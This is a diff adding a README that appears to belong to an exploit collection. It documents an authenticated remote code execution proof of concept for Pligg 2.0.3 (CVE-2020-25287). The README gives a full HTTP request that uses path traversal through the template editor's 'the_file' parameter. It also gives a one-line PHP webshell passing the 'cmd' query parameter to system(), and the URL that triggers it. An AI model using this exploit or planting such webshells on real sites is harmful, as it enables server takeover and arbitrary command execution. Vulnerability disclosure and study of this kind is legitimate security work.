add pligg 2.0.3 - CVE-2020-25287 RCE

CMS/Pligg/pligg 2.0.3 - CVE-2020-25287 RCE/README.md

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+# pligg
+
+## pligg 2.0.3 - CVE-2020-25287 
+
+* Description : We can acces to anyfile using `the_file` parameter by template editor menu because of no check on extension and then create webshell into existing php file for exemple 
+* Affected version : 2.0.3
+
+### Information
+
+To make this PoC, i just installed the sofware(`https://github.com/Kliqqi-CMS/Kliqqi-CMS`) using WAMP on Windows
+
+* Vulnerability Type : Remote command execution (Authenticated RCE)
+
+### POC 
+
+<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/start.png">
+
+Go to `/admin/admin_editor.php` intercept the request and change the path to file.
+
+
+for exemple to get `index.php` of application :
+
+<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/getindex.png">
+
+
+
+```
+POST /admin/admin_editor.php HTTP/1.1
+Host: kliqqi
+Content-Length: 33
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+Origin: http://kliqqi
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Referer: http://kliqqi/admin/admin_editor.php
+Accept-Encoding: gzip, deflate
+Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
+Cookie: panelState=CollapseManage%7CCollapseSettings%7CCollapseTemplate; PHPSESSID=lfkc3gtrv5o1golmt5md3; mnm_user=Admin; mnm_key=QWRtaW46MjI0R2dEVTAxZncxZzpl
+Connection: close
+
+the_file=..%2Findex.php&open=Open
+```
+
+
+just click on "show response in browser", and edit the file to suit your needs 
+
+<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/write.png">
+
+for exemple : 
+
+```php
+  if($_GET['cmd']){
+    system($_GET['cmd']);
+}
+```
+
+finaly go to `website.fr?cmd=dir`.
+
+<img width="1280" alt="receStore" src="https://raw.githubusercontent.com/jenaye/pligg/master/rce.png">